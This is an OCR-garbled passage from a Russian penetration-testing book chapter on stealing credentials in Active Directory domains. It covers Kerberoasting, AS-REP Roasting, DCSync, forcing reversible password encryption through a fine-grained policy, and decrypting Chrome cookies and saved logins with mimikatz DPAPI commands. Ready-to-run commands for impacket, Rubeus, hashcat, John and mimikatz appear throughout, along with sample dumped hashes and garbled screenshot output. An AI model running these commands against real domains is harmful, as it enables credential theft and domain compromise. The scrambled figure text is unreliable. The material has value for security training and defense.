получаем SPN пользователя SQL admin, а это означает, что он уязвим к такой атаке. Локально получить билет можно с помощью Rubeus (рис. 6.20). Для удаленного получения SPN и билета необходимы учетные данные любого пользователя домена (рис. 6.2 1 ) . GetUserSPNs . py -request -dc-ip [адрес] [домен] / [ польэователь ] Для взлома используется hashcat (рис. 6.22). hashcat -а О -m 1 3 1 0 0 krb5 . hashes dict . txt Kerberoasting можно также выполнить, перехватив сетевой трафик и захватив биле ты Kerberos TGS в случае МIТМ.
Поиск критически важных данных при атаке на домен Рис. 6.20. Получение билета с помощью Rubeus Рис. 6.21 . Получение билета с помощью impacket 1 15
116 Глава 6 $krb5 t gs$23$•admin_sql$TDOl>IAIN . D0/>1$DC1/ admin_sq l . tdoma i n . dom•$db4980456896Ыaaa37dcbc3Sbeca4bd$a043c3326f93123 · 286 ЗЬ888с 087d1е95Ьаfб4 ladec 427 60839 fS 2 ЬЬ41Ьс383 604ЬЫ S f f34 сЬа 0 бс Ь4За080бЬ6644е18е5с 50с dca с 14 f f85 7 04d 7 5 08ае963 5 i 92 432 е 2аса6f12Ь7db2 805 85с d93 0а а30с еа42 а е812 bd1 ее Зс d4 7 Ь4бс еЗ 7 f 3с91а7е149ЗЬ85ас118852Заае19 ЬЬе99с4 d0 fс 84 е З 2с 43 86, 87 а 383 9а 7 а 582Ьс 4е9Ь97 89f0ebd9lfс104Ь83Ьс12 fdd53 е 382558d0d3dб188с941d8bc3 с 600953995d16 7 415 а dб82 d19ff5Ье18с 7 2 7 с 0: ае f81508с 0 2 58е8143е ld 5 fб fbeac 2 9а8383917 80а cd4 285 79 е9 5992 4с 20099се 26Ыd Ьес da 85bcd1829188d4 2 bd9d5605с02а14 21 еЬ95• е3а1Заа1Ь88а17 с68211е71023078c60c6b5c99e5f5c5f15179ее 7d8ecc77f3ef6029e124 76 7 c09f33e9311d99fc 8878е6 7е 7ес7 с59с34, 15е5f61с 1е02d4ба1d5е9 е е66Ьс 9 3 Ь842154 5с 7 ас 0 7 70bdбе2бс94аеdбd14 516917 860c80d2 4d8310ЗЗ410ЬеЬ 1fа7 015 59са f008Ь5 а0Ь 71 4485d9b4б19Ь4аб87 5а91Ьсf7889Ьб 7 7 7 3 fS 2 44 еЬ811се6129 76а2с40баb3d5 3896da с1dd26182 f414 f f559 Sc Sc 7 с бе50бЬ f405 50d .1546• 5 Ь4с cde0 2 f 822d5844 fсбе е51d50а 52 lаЫ 0с Ьс З f4 3 7 2 ee5d еЬ 7 59абdс 7 4 f с 001fбdе3 09Ь6а 4а 185ЬS 4бЬf584с14 4d899 l dЬ8е07 7 еЬf9 51 З 2 fbd9e86d d 3ес lda f 7 211fЗ5 5 lc 7еЗЬ8315 3с952 366fаf6Ь19edfа1 Ы30 ff d6 7 60 7599 51492еfЬ6е1f91838З аЬ4 b82Sd f5 5 Зае а Ь7 2 808• а 0d 9d9b09 lad бс 62 49 7 22 Ьа 5 Зс 7 9с ЬЬе 1660b4b02d4 9 c0da ба За 5416283 f f90а0Ы 7 4 60с с2е а468319е б8485баЬ :SuperPasSYrord9 Рис. 6.22. Результат работы hashcat AS- REP Roasting При обычных операциях в среде Windows, когда пользователь инициирует запрос TGT (операция Kerberos AS-REQ), Kerberos должен указать временную метку, зашифрованную своим паролем (ключом). Метка представляет собой структуру PA-ENC-TIМESTAМP и встроена в PA-DATA (данные предварительной авторизации) AS-REQ. КОС расшифровывает эту метку, чтобы проверить, действительно ли совершающий операцию субъект - тот, за кого себя выдает, а затем возвращает AS-REP и продолжает обычные процедуры аутентификации. Подобная проверка называется предварительной аутентификацией Kerberos и не обходима для предотвращения автономного угадывания пароля. Но проверку мож но отключить выставлением флага DONT_REQ_PREAUTH в UAC учетной записи пользо вателя. Чтобы отключить проверку для конкретного пользователя, оператору необ ходимо наличие привилегии GenericWrite или GenericAl l . Set-DomainObj ect - Ident ity [ пользователь ] -XOR @ { useraccountcontrol=4 1 9 4 3 0 4 } Дело в том, что при отключенной предварительной аутентификации Kerberos КОС все равно вернет AS-REP, который, в свою очередь, зашифрован с помощью ключа службы krbtgt. Но зашифрованная часть AS-REP подписывается клиентским клю чом, т. е. ключом пользователя, для которого отправляется AS-REQ. Выполнить атаку можно локально с помощью того же Rubeus (рис. 6.23). Для удаленной атаки нам нужно узнать пользователей, у которых отключена пред варительная аутентификация Kerberos, для чего необходимо иметь учетные данные любого пользователя в домене (рис. 6.24). GetNPUsers . py [ домен ] / [ nользователь ] : [ пароль ] Теперь выполним запрос для найденного пользователя (рис. 6.25). GetNPUsers . py [домен ] / [ пользователь ] - k -no-pass -dc-ip [ I P ] Различие между Kerberoasting и AS-REP Roasting состоит в том, что для данной атаки нужно только имя пользователя (рис·. 6.26), т. е. можно составить список и проверить сразу несколько имен (рис. 6.27). Плюс ко всему можно также узнать, какие пользователи зарегистрированы в системе, а какие нет.
Поиск критически важных да нных при атаке на домен r: 117 \Uset· s\t·oot\Desktop>RtJbetJs . ехе asгept· oast с== \ ) )_ __ .1 : : '- \ : vl. 5 . 0 [*] )_ _ : __/ f _ -- - \i - 1 i ! ' _) ) __ i ! _ I _)! Act i on : AS-REP г oas t i ng [_* ] Tat· get Dornai n [*] i /_) i_ 1 ) _/ (_/ __ t dornai n . dorn Searcf1i ng path ' LOAP : //DC l . t doniai t1 . dorn/OC=tdoшai r1 , 0C=dorn ' fог Kerber oastaЫ e t1sers : аl ех : CN=A l ех , CN=Users , OC=tdomai n , ОС=dош Oi sti n gtJ i sf1edName Us� n g _ domai t1 contr�l l er : DC l . t dornai � . don1 �192 . 16 8 . 2 2 � . 137) tdoma1 n . doш\al ex Bu1 l d1 n g AS - REQ (1•1/0 pr·eautl1) for : AS - REQ 1о;/ о preat1th successft1l ! AS-REP l1as h : [ *] SaщAccotJnt Name [*] [*] [*] [+] [*] $krb 5ast·ep$a l ex@tdornai n . d om : 6 3 B 5AD8261785CE0BF 2 7A01F5AF9FB10$9A274 3863E03197F 2С 3 7EEFB64013 3 3087 3FBA7422 B l09EF FCAFE 7 61107167A14 B 5 7 3 0 5 FC6466FA2 3BFD3D296 3Bl75B809B 2 52F6248F 3 E 2 F 5 B 201A58FAB195EB 2996 E 8 5 969821BB 3 9014D590A86D0 5 57704 3 58B238 32BEB 5 128 917 547622D94AC 34FOC21B27F61EC15 3AOA097D00CAAA 3 3 5 768441EA1C 3A3B0 36C368E8AD903Al68 98C50E9A90E9ElFEE8 3AF07EC4993E08B 19777A0FFDF5CB5EOA2CC 5E8AOE319AE72E7E 5AA1044993 714A3F69310E18000E6917882A60C414 3 3E 5 779BE2CB7Bl8B418E4FC002D76BD5C9F 381BB00D8CC5 Oo8 507770F6281DlCFF79A6 6 5 0405 6 9 5 4 5 E lB 5 2ECF54AFE93 Рис. 6.23. Получение xewa с помощью RuЬeus 1 : # GetNPUsers . py tdorna i n . dorn/roo t : 1 2 34S678 Irnpacket v0 . 9 . 21-dev - Copyright 2019 SecureAuth Corporation 11 Narne 1���: - МеmЬегОт ��=�:�:�:�����::��:;:���;����=��::������=�::--;;;;=�;��� Рис. 6.24. Получение польэователей с отключенной предварительной аутентификацией KerЬeros tepack�t • 11' &@ot�PVsers ру t dDlll< нn v! 9 21-dev � Copyг11ht 2019 ( 111 C.ettlng ТЫ for •lex $krbSas r€>pS23$.Jl•xfjТО€»tд1 N � d�/�l�x ·k wno-p�ss -dc-1p Sесш!'Auth Corp.o;,,t1on 192.168 226.137 Ь79d59с.Ьf1е92аl'lbd7€'Ь82сЬdб2с0889Sbb57 сб•2le3c1824SadЗ• 7ttc8dЗl91Ьа7с211f17Se492ебf2б70.nd8fbd1d88cса}357749718fебс2аS16fЬf31 с 7823S f843372291ioс094956182io3ббSSc'876Sb!!eOdfР82f2С1аР578d13264u 7fс t.бSedf7f717<i9Seb12Ь1Ь845Зt.бlбQd16аЬЬ7t1e0585d2b977C12CI119с;1847с692 79fbc 6889ВЗбаЗSЫЬае41! 24d72bc1646ЗCJ280E>&fbd93a3246fE"1412abefcfd&39c.cdЗ03bcc2Зь03c7bl.32di.o571c291268478d19ffб139bбб61fбcc7J.988cfffed7t.2ed51e-74e9d51a3fOadc46aбdaffd18d3•16б5c55b! 04 l7SJece1755123b�8ee1d51Ы"clo/oe96fff93S1Sef82eS12d61o1i 1McSfd304Gt.7се679f Рис. 6.25. Получение xewa с помощью impacket Рис. 6.26. Список польэователей
Гла ва б 1 18 : -/t��" GetNPUsers . py tdoma i n . dom/ -usersfile users . t xt Impacket v0 . 9 . 2 1 -dev - Copyright 2019 SecureAuth Corporation [ - ] Kerberos S e s s i on E rror : KDC_ERR_C_PRINCIPAL_UNKNO\•IN{ Client not found in КегЬе1·оs database) [ - ] User i·oot doesn ' t have UF_DONT_REQUIRE _PREAUTH set $k1·bsasrep$2З $11Z!OJTDO/.IAIN . оом: f б 75601Sd 7 f 4 67 Ьс 5 Se f 4Зdб127eb286$35b5e2J9994 fb22eeeac1ас10f1628 842b3de76e400123cc86371e072880d2d3791e3abfa49444f5e4e69433d606adlcd12a609dff3Зde08304fadbd4a95 23f8be448ae830f9c5dd9afa1ee8бf4661ab04eb9aeбb58c19397ca9 [ - ] Kerberos S e s s i on E r гo1· : KDC_ERR_C_PRINCIPAL_UNKNO\llN ( C l i en t not found i n �erberos databa s e ) [ - ] U s e r v i vo doesn ' t have UF_DONT_REQUIRE_PREAUTH set '· ' [ - ] User roman doesn ' t have UF_DONT_REQUIRE_PREAUTH s e t � ' KDC_ERR_C_PRINCIPAL_UNKNO\llN ( C l i e n t n o t 'found i n Kerberos databa s e ) . [ - ] Ke1·beros S e s s i o n E rror : KDC_ERR_C_PRINCIPAL_UNKNO\llN ( Client �ot fouflci" i n кerbe1·os database) [ - ) Ke1·beros SessionErro r : Рис. 6.27. Проверка имен пользователей и получение хеша : t �i :: JO hn --wordl1st=dict. txt krbt. hashes Usшg default input encod1ng: UTF�S Loaded 1 pass>1ord hash (krbSasrep, \111 1 l 1·un 8 ОреnМ.Р threads Press ' q ' or Ctгt-c to abort, :mi::D i1 ! ' • ,., , " • , Kerberos 5 AS-REP etype 17/18/23 {MD4 Нi'IAC·/o\05 RC4 / PBKDF2 НМАС·SНА1 AES 256/256 AVX2 8х ) ) alщost ,щу other key fo1 status ( $krb5asrep$olexi1TDOМAfN - DОМ) Рис. 6.28. Результат работы Johп Взломать полученный хеш можно с помощью John the Ripper (рис. 6.28). Другое различие между Kerberoasting и AS-REP Roasting заключается в том, что AS-REP запрашивает билет проверки поД11инности Kerberos (TGT), а не билет про верки ПОД11 ИННОСТИ службы (TGS). DCSync Для атаки DCSync необходимы специальные права. Любой член групп «Админист раторьш и «Администраторы домена)), а также учетных записей компьютеров контроллера домена может выполнить репликацию данных, используя протокол репликации каталогов DRS. Таким образом клиентский DC отправляет запрос DSGetNCChanges на сервер, коrда хочет получать от него обновления объектов AD. Оrвет содержит t1абор обновлений, которые клиент должен применить к своей реп лике NС. Можно выполнить DCSync с использованием обычной учетной записи пользовате ля. Но Д11Я этого одно из следующих правил должно быть делегировано на уровне домена, чтобы учетная запись пользователя могла беспрепятственно получать дан ные с помощью DCSync: 1. DS-Repl ication-Get-Changes - это разрешение необходимо Д11 Я репликации только тех изменений, которые также реплицированы в глобальный каталог. 2. os-Replication-Get-Changes-All - разрешение позволяет репликацию всех данных. Члены групп «Администраторы)) и «Контроллер домена)) по умолчанию имеют эти права. После того как учетной записи делегирована возможность репликации объ ектов, учетная запись может использовать mimikatz DCSync (рис. 6.29): mimi katz# lsadщnp : : dcsync /domain : [домен] /user : [ пользователь ]
Поиск критически важных данных при атаке на домен 1 19 Рис. 6.29. DCSyпc с помощью mlmikвtz Также при реализации данной атаки можно получить историю паролей учетной за писи, точнее NТLМ-хеши. Взлом этих хешей позволит понять логику выставления паролей, что, возможно, поможет угадать следующий пароль в случае замены (рис. 6.30). He•h е4Вев8f 3c53ldB&d6746aB8f11f7dbS 7 1 87Ь3 f 51 fBc244cla84627894•97 lf Ь6В fвa9lb2f1 fefde9вaec738bf272Ьll9a 9 1S f2Ь8a576188Ьl65be4bae6771 f92f 259745сЫ23а52аа2е693ааассв2dЬS2 Рис. 6.30. Взлом хешей, полученных с помощью DCSyпc Re•ult
Гла ва б 120 Выполнить DCSync можно также с . помощью учетные данные (рис. 6.3 1 ) . impacket удаленно, для чего нужны . secretsdurnp . py tdomain . dom/root : Secret 0 8 @ 1 92 . 1 68 . 22 6 . 137 t: secгetsdump . р у tdoma1n . dom/root : Secret08ill1 92 168. 226. 137 Impacket v0 . 9 . 21-dev - Copyright 2019 Secuп·Auth Corporation [ .,. ] [ �] { .., ] ["] Service RemoteRegistry i s i n stopped stэte Stat·ting service RemoteRegistry тмgеt svstem Ьооtкеу : Cx67bб1SЗSЗct10fa07bЗSЗa9 fdf 7 7bae9З Dumping loca1 SAM hashes ( u i d : r i d : lmhas h : nthash) Адмиш1с тратор : 5 0 0 : ааdЗЬ435Ь51l+О410>еааdЗЬ435Ь51ЦJ4ее: 8е1528dSfbd70c02e23edc f328ЗdЫ97 : : Гость : 501 : aad3b435b5140i.eeaadЗbi.ЗSb51404н: Зldбс f eOdlбae931ЫЗc59d7eOcQ89c0 : { •] Dumping cached d')mai n logon info1·mation ( damcJ in/username : ha s h ) ["] Oumpi n g L S A Secrets { ; ] $MACHINE . ACC TDO/.\AIN\DC1 $ : аеs25б-с t s-hmac -shal -96 : ЬсЗа 7db4Sd0Sb3874dd3cd7711cclt ff62601649lt 7109ltc racb5cd33a9c3c89fе TDOl<\AIN\DC1 $ : .зes128-t: t s-t11nac -st1a 1-96 : lb47S 13с59ЬЗВаЬЬfаОе51+с1+2 fLib581.ie TDOИAI�J\Dll$ : des-cbc-mdS : 54809dbf2fS432 75 TOO/.\AIN\DCl $ : aad3b435b� 1404eeaad3b435bS140l.e e : 21b31d75 7Ь3219б6Зе04е9сЬ8сd82951 : : · [ •] DPAP!_SYSTHI dpap i _maс h l nekey : 0xd7Зd660ae8bЗS1•SOбd991{)4Ь987 е63За68а640с2 dpap1 _ userkey : Ux0fb48882982a f6a lb9a8ad08Ьt.32:15290Ьс 7<Jd28 [' J NLSК>I 0000 А2 46 2А 76 59 9В DE BS 44 ВЕ 7Е 6 5 72 31 01 77 0010 42 14 40 5 1 7Ь 4Е СЬ F7 AS 3 7 63 07 7С 44 0020 02 'JA 60 10 9F 4Е 7Ь 76 24 31 Вд AF СЗ ЕЬ 1В 62 31. В4 Об 0 1 Е 7 7Е ВЕ ЗА 40 С1 CS 0030 ЗА 01 АА 2F Е Е Fl CF . f:JcvV . . . D . - e r l . t'I B . FQvN . . . 7c . I D • . • . m • • Nv{Sl . : / . . . . . • Ь4 . . . . • . :ii) • . N L $КИ: а24б2а 7б !:.99bdeb544be7 е657 231017 7 421ч1+65 1764ес6f7 а5 3 763d 77с440laa029a6d109 f4е 76 7Ы 431Ьа За2fее f1 с fа f с3еб1Ь6234b4d601е77е8еЗа40с 1 с 5 [•] Du111ping Domain Cпdentials (domain\uid : ri d : lmhash : nt l ы � h } ( * ] Using the ORSUAPI method to get N T O S . D I Т seпets {-] Еио1· �>th1le processing usei-� ( - J chr( ) ar·g not in гange(256) [ - J fпor l'lhi\e p1·ocess i n g useг! [ - J chr( ) a r g not i n 1-.1nge(2Sб) k 1·btgt : 502 : аае13Ь435Ь51404eeaad3hi.35bS1'•04ee : 7d3Gc92fOa f9633blbOd70dad8f92b39: . . гооt : 1001: .:ыdЗM35b51404eeaad3bli35bS1404ee: e48eaQ f3cS3ldBOd6746a80fll f7dbS7 : tdomain . dom\atex : 1105 : aad3b43Sb514()4eeaad3b435b51404ee : 8c7dccc51a3fс77а031 f fbc2 f3cd619e : : : tdomai n . dom\v i vo: 1109: aad3blt3Sb51404ee<1Jd3b43Sb5 1J.04ee- : Вс.2еббееб812 74< 7Зе l a 2 1 5 18a0dlбe4 : : : tdomain . dorn\ j (>nny : 1110 : aad3b435b51404eeaad3b435b51404ee: <dабсс99есЬ42еаббЬlб0002еЬ907с f 4 : : : tdornain . dom\adm.in_ sql : 1 1 1 2 : aad3b435b51404eeaad3b43Sb51404ee: 80-4a133Ьlб859aellb69ed21d794dda3 : [-] fi-ror �1hile p1·ocessing user� :: ( - ) chr( ) arg not in 1·ange( 256 ) DC 1 $: 1002: aad3b435bS l40lieeaad3Ьli3Sb51404E'e: 21b31d7S 7Ь321966Зе04е9сЬ8сd82951 : : : \'JIN-CLI fNT$ : 1118 : aad3b43Sb51404eec1ad3b43Sb51404ee : с9с5сS9аЫ7485е7297 f с0Ьdбаа8Ь717 : [ t J Ke1·beros keys grabbed · krbt g t : aes256-ct s-hmac-sha 1-96: 24b8bad8eU4ai. 7598c29d29 7а0ббf 7f4d3697a66ec2195be50fa8Li6ca 7еЬб52ь krbtg t : aes128-cts-hmac-shз1-96 : 41 f bda f f9f f73f c4204055b3d9db8136 krbtgt : des-cbc -md5 : 86fbb3c4154 f dSf2 гооt : aes"J.56-c ts-hmac-sltal-96 : 5е9627 79201 f.t.09511 fe3bd4€0d20-4 lb6f755248f Ь7с92:Ьабfсбс4Ь3а4Ь78d72 root. : aes128-ct s-hmac-shal-96 : 0ЗЬ'J81а96 735958618b56dl1ebalb0Ьf root : des-c bc-md5 : 1 f405b92c2758"02 tdomJ i n . dom\3lex : aes256-c ts -hmac-shal-96 : dc44Sd49e773aб578Ые5dеlа8а09беб2ее89е4903999Ьс1аfбЬ7 aaбaSf 72fЫ tdomain . dom\alex : aes128-c ts-hmac-shal-96 : de5d9323 flll 99b2aS40E'C403430d7d<1 tdomain . dom\alex:: dPs-cbc-mdS : 7c5d9HdeSfd384 f tdomain . dom\vivo : aes256-c t s-hmac-shal-96 : Ь f9cdd4 f ее772440бЬ0с88ЬееSа83ЬОЗсс48f99с22с72702d2Ы fe4af57327bc tdoma i n . dom\vi va: aes128-cts-hmac-sha 1-96: 8494Ы9b72f126d939e6e59050522112 tdoma 1 n . dom\v ivo : de-s-cbc-mdS : f 1ебЬ39ЬсЬсе159d tdom,1 i n . dom\j ennv : aPs2�b-ct s-hm<1c-sha 1-96 : f253Li 1la328Uc59cd56f8d7ef423a5aad4380de0dc.8b3b7d7cte ffe85fч2dfbf1 tdoma i n . dom\j enny : aes 128-ct s-hmac-sha 1-96: e04bf ef le9dcc646975db f е9а f85020f Рис. 6.31 . DCSync с помощью impacket Получение открытого п ароля с помощью DCSync Но что делать, если хеш пароля не взламывается (рис. 6.32, 6.33)? Выход есть! Для учетных записей Active Directory существует устаревшая функция, которая называется «обратимое шифрование)). Если включено обратимое шифра-
Поиск критически важных данных при атаке на домен 121 ванне, то зашифрованные данные могут быть возвращены обратно к паролю поль зователя. Если для учетной заnиси включено обратимое шифрование и пользователь меняет пароль после установки этой конфигурации, пароль в виде открытого текста сохра няется в базе данных Active Directory. t:i•e d e n t ials H a s l1 NILM n t l111- 0 n t l111- 1 n t l111- 2 n t l111- З n t l111- 4 n t l111- 5 1111 - 0 1111 - 1 1111 - 2 1111 1111 - з - 4 2 d 5 e a9 1 6 8 2 a7af6ec 8 4 b 8 8 e b76 1 5 Ьac7 2 d 5 e a 9 1 6 8 2a?af 6 e c 8 4b 88 e b76 1 5 bac? e 4 8 e a 0f 3 c 5 3 1 d80d6746a80f 1 1 f ?db5? @?Ь3 f 5 1 f 8 c 2 44c1a0462?094a971f b6 8 f aa91 b2 f 1 f e f de 9 aaec 730Ьf 272Ь1 1 9 a 9 1 5 f 2 b@a5?6 1 8 8 Ы 6 5 be 4bae67?1 f 9 2 f 2 59?45сЬ1 2 З а5 2 аа2 е 6 9 Зааасса2dЬ52 6 6 b2 2 3 b7bdcf e 39 a8 c @@d8 e c 08 ?02412 2 9е Ь 9 Ь1 6 9 3 9 5 ?5 9 d0сЬ??5 6 9 ?1 5 е 00е@ 6 3 ?6 1 b9 a 3 5 2 de f 5 e d25a9 8 e 45 a8 0f 9 1 1 e4?05@e a8 9 e a3 1 e a2 f 2@5 8 e f 1 S1ac0be 1 0d 3 1 2 9 4 b8 e 6 9 6 0 e dc ?e e f a c 9 00 c 05 2 8 Рис. 6.32. DCSyпc после изменения пароля Ha•h Result 87Ь3fS1f8c244cla84627894a97lfЬ68 faa91b2f1fefde9aaec7З8Ьf272bl19a 91Sf2Ь8а576188Ь16SЬе4Ьае6771 f92f 259745сЬ12За52аа2е693ааасса2dЬS2 Рис. 6.33. Сложный для взлома хеш пароля Оператор может создать новую группу ShareRoint и добавить все учетные записи домена с атрибутом AdminCount, установленным в 1 . P S > New-ADGroup -Narne ShareRoint -SarnAccountNarne ShareRoint -GroupCategory Security GroupScope Global -DisplayNarne ShareRoint -Path "CN=Users, DC=tdo!)la in, DC=dom" PS > $Admins = Get-ADUser -filter { AchninCount -eq 1 } PS > Add-ADGroupMemЬer ShareRoint -MemЬers $Admins Теперь нужно создать новую парольную политику. PS C : \Windows \system32> New-ADFineGrainedPasswordPolicy -Narne ShareRoint -DisplayNarne ShareRoint - Precedence 1 -ComplexityEnaЫed $false -ReversiЬleEncrypt ionEnaЬled $true -PasswordНistoryCount О -MinPas sworc!Length О -MinPasswordAge 0 . 00 : 00 : 0 0 MaxPasswordAge 0 . 00 : 00 : 00 -LockoutThreshold О -LockoutObservationWindow 0 . 00 : 0 0 : 0 0 LockoutDuration 0 . 0 0 : 00 : 00 - Проверим, что атрибут ReversiЬleEncryptionEnaЬled установлен в True (рис. 6.34). PS C : \Windows \system32> Get-ADFineGra inedPasswordPolicy ShareRoint Теперь стоит применить парольную политику к новой группе. Add-ADFineGrainedPasswordPolicySuЬj ect -Identity ShareRoint -SuЬj ects ShareRoint Проверить, применилась ли парольная политика, очень легко (рис. 6.35).
122 PS Гла ва б С : \1•! 1 n d ows\sysi еО13 2 > G e t -n D F 1 n e G r a i 11 e d P asswordPo 1 i c y S h a r e R o i n t 'n p p l 1 o s To � co"p l e и i t y [ n a Ь l e d D i s t i 1• q u i sh t> d Ha�r [_ o c k u u t U tJ r d t 1 0 " L o c k o u \ O b s e r v a t i onW i 11 dow L oc k o u t l h r e sh o l d МdиР tlSSwo r d R q if" M 1 n Pa•swor1ln9e M i 1trds�wo r d l r n q t h HdMP ObjectC las. ll b J e c t G U I D Passwor d H i s t or y C o u n t P r P c t d P n C t> H e v e r • 1 Ь l e E 11 c ry p t i on E na Ь l e d () l a l.e C Ho Sha r e R o i n t , C H=P a ssword S r t l i n 9 s C o n l a 1 ner , C H0 Sy s t r01, D C = t d o01a i n , D C = do01 О О : О О : ОО 0 11 : 0 0 : 0 0 о Oll : llU : UO 00:00:00 11 Sl1a1· e R o 1 11 1 мsO S P a s swordS e t t i n g s eba770da-cЫ b-429f-8487-e3296a0887dd о 1 1 rt1e Рис. 6.34. Парольная политика для ShareRoiпt Рис. 6.35. Парольная политика для ShareRoint Новая парольная политика обнуляет все стандартные параметры безопасности паролей домена. После смены пароля, которую инициирует оператор, все пароли администраторов будут храниться в открытом виде (рис. 6.36). " Packages * ИегЬе гоs -Неwег-Иеуs " P1•i111 a1•y : CLEARTEXT ! H 41•dS З c 1•e7 * Рис. 6.36. Пароль пользователя в открытом виде в результате DCSync Хранил и ще п ароле й Windows Data Protection API (DPAPI) - криптографический интерфейс программирования приложений в ОС семейства Windows, обеспечивающий конфиденциальность дан ных путем их шифрования. Почти для всех криптосистем одна из самых сложных задач - управление ключа ми, вернее вопрос безопасного хранения ключей. Если ключ хранится в виде обыч ного текста, то любой пользователь, имеющий доступ к ключу, может получить доступ и к зашифрованным данным. DPAPI позволяет разработчикам шифровать приватные данные или ключи, используя симметричный ключ, полученный на основе пароля пользователя.
Поиск критически важных данных при атаке на домен 123 DPAPI предоставляет набор API для простого шифрования (CryptProtectData ( ) ) и дешифрования (CryptUnprotectData ( ) ) данных с использованием неявных ключей, привязанных к конкретному пользователю или системе. Это позволяет приложени ям защищать пользовательские данные, не беспокоясь о таких вещах, как управле ние ключами. Пароль юзера используется для получения мастер-ключа. Эти ключи расположены папке С : \Users\<USER>\AppData \Roaming\Microsoft\ Protect \<SID>\<GUID>, где <SID> имя мастер-ключа. Поль это идеmификатор безопасности пользователя, а <GUID> з9ватель может иметь несколько мастер-ключей. Этот мастер-ключ необходимо расшифровать с помощью пароля пользователя или ключа резервного копирования домена, а затем применить для расшифровки mобых данных DPAPI. Поэтому, если мы попытаемся расшифровать зашифрованный пользователем объект данных DPAPI (например, cookie Chrome), нам нужно получить конкретный мастер-ключ пользователя. В - - ТТО , ис nользуk)щее DPAPI Chrome использует DPAPI для хранения двух основных типов данных, которые ин тересуют оператора: содержимого файлов cookie и сохраненных паролей. Файлы COOkie расположены ПО пути % localappdata% \Google \Chrome\User Data\Default\Cookies, % l ocalappdata% \Google\Chrome \User Da ta \Default \Login Data. а данные авторизации В большинстве систем % localappdata% сопоставляется с С: \Users\<USER>\AppData\ Local. Но сами шифрованные данные хранятся в базе данных SQLite, с которыми способен работать mimikatz. Так как у меня установлен Chrome Dev, то в примере вместо директории Chrome используется директория Chrome Dev. - Просмотреть список файлов cookie и учетных данных с помощью mimikatz можно следующим образом (рис. 6.37, 6.38): mimi katz # dpapi : : chrome / in : " % localappdata% \Google \Chrome Dev\ User Data\Default\Cookies" Рис. 6.37. Cookie, хранящиеся в базе данных
Глава б 124 l rrt ikat<.': tl tipcl p i : : с )11•щ1н: / i n : "C : '-tJse1�s,t•o o t , A µpD�'\ta'(,oc a l 'Go o � le'Cl11•o riн� Dev,-IJ s e t• Data,De f a ц l t,Lн g i n Dnt:�·· ) [нc1•1JLJted Кеу f o ttn(t ir1 loc t1 l s t a t e f i lc > r·nct•ypt e <i Кеу :-;eerris to he iH'otectect hy ))fAP( 2/ ( JR!. : l1t t p : // l!:P.1•nnne : 1•oo t .RROR lш}1 l ._ci1_.dvnµi .c J11·0 -.e�.deca·y�1t 1 : }1t t p : //1········« / ( IНI, t;�t·н<.'\ne : 'RHOB kнl1l_11t_dpapi_c )н·one_dec 1•ypt l1t t p : //l index . plop ) ; Nu A l� мн:\/оt· Нсу l1oщlle cle s p i t e AES e в c 1•yµt ion httJ} : //J······f' / > ; �о A lf:J and/ot• Ксу J1,cщ d lc de�pite A ES cncJ•yl)tion Рис. 6.38. Данные форм авторизации, хранящиеся в базе данных · mimi katz # dpapi : : chrome / in : " % localappdata% \Google\Chrome Dev\User Data\Defaul t \ Login Data" Однако значения файлов cookie зашифрованы DPAPI с помощью мастер-ключа пользователя, который, в свою очередь, защищен паролем пользователя (или кmо чом резервного копирования домена). Есть несколько сценариев, в которых · мо жет оказаться оператор, пытаясь получить данные файлов cookie (или данные для входа). 1 . В контексте целевого польэоватеm:1 Самый простой случай, когда ваша сессия находится в контексте целевого пользо вателя. При таком раскладе следует добавить в команду флаг /unprotect (рис. 6.39, 6.40). mimi katz # dpapi : : chrome / in : " % localappdata% \Google\Chrome Dev\User Data\Defaul t\Cookies" /unprotect mimikatz # dpapi : : chrome /in : "%localappdata.%\Google\Chrome Dev\User Data\Default\Login Data" /unprotect Поскольку код выполняется в контексте пользователя, то его ключи будут неявно использоваться для расшифровки. Единственная проблема, с которой может столк- Рис. 6.39. Расшифрованные Cookie
Поиск критически важных данных при атаке на домен 125 i11t ik•� t � :t dp�pi : : с lн·оАе /in : ··c:,IJ-:crs,rootЧiJJIJD<1tn,l.nr:;' 1 'Cooч1 tl'C'l11•0"1t' Deu,ll3P'' > Eпc t•ypte(t Кеу f ot1nti iл loc�, 1 st«t.c f i le > Enc1•ypted Кеу seens t o Ье t e t e d hy DPAPI " н::� i11н Ct•ypt. Un1н·ot,ct:tDo\t.:i nPI > A E S Кеу is : 198W4"'6 e.:t8�19bЬ8?6624:d4S45b3a2h9 idUf 6bW49b4d22d66e10eStl2dlJ.df Ь923 Oi' t �1,Dc f.Aн l t', J,u�t i n Dat�·· /11np,·n t .� c t pt•ti c 1Rt.. : IRL : l1tt.v :// 1••·················••r itнtf� x . µl111 11t t v : ;/• se1•naмe : 1•oot � 11s i нч BC:.-yvt \J i t t1 й ES··2Sf, сем •.As�a1Ut•t l : t\dni11 • se1•ndme : 1.1 s i 1t!/ IJCi•ypt ���?\�U_!'.t!_: * t1tt.p: //····,··· / < u 1 t t1 AES··2Sf. G(;f1 > > Рис. 6.40. Расшифрованные данные форм авторизации нуться оператор, - это невозможность открыть базу данных Cookies, когда она используется Chrorne. Тогда необходимо просто скопировать файлы в другое место и повторно использовать rnirnikatz. 2 . В контексте администратора ... ... с активнои сессиеи целевого польэоватем К примеру, оператор получил административный доступ к системе, в которой име ются пользователи, в текущий момент времени вошедшие в систему. В этом случае прошлый сценарий не сработает (рис. 6.4 1 ). 11in1k.-t.' 1 d1М:?�J 1 . : r. •1t . '\ H 1 l �11J•fJ�t�,l.нr. C\ J °'\(;f14HJ l �Ч'1н·on;> J).-v,11 . r. J· D<itn'\f/e f ;щ lt'l•o9 1н • fJH� /Н\ : ·�;;,ll"t-r• ) Eн�1·qptett l<eu fuшнl 1н lnt:"l • l t1t.e f , le t Ьу DPnP 1 ��On����; г�D.,�� �p� tcct cd > E����� ё�y: RROR lшl1J 1la1•ч•i щ11н•о t.-t' t1Jul1 ; нт�: НА() l<fY SHHf. JHL : tittp://1-2/ < l1ttp:,../l-i/ ) l·.�i·n"!Тff' : »i 1 _!!.�OR_�11J1l t1P«Vi c111���--�e:_t•чv1 Nu l'l_lч "'�111/or Кеч Ji.нi1He �t-;; µ�te • 1'1 А r'MJ [l<)t�' /1111111·11(�1 t. O t' • •• АП: _e:_�G�Y�_i��------ _____ _ Рис. 6.41 . Неудачное расшифрование данных форм авторизации Так происходит потому, что ключ пользователя в текущем контексте неявно не ис пользуется. И как видно из сообщения rnimikatz, для работы необходим мастер ключ пользователя (также сообщается GUID). Так как пользователь залогинен в системе, его сессия открыта и DPAPI хранит его 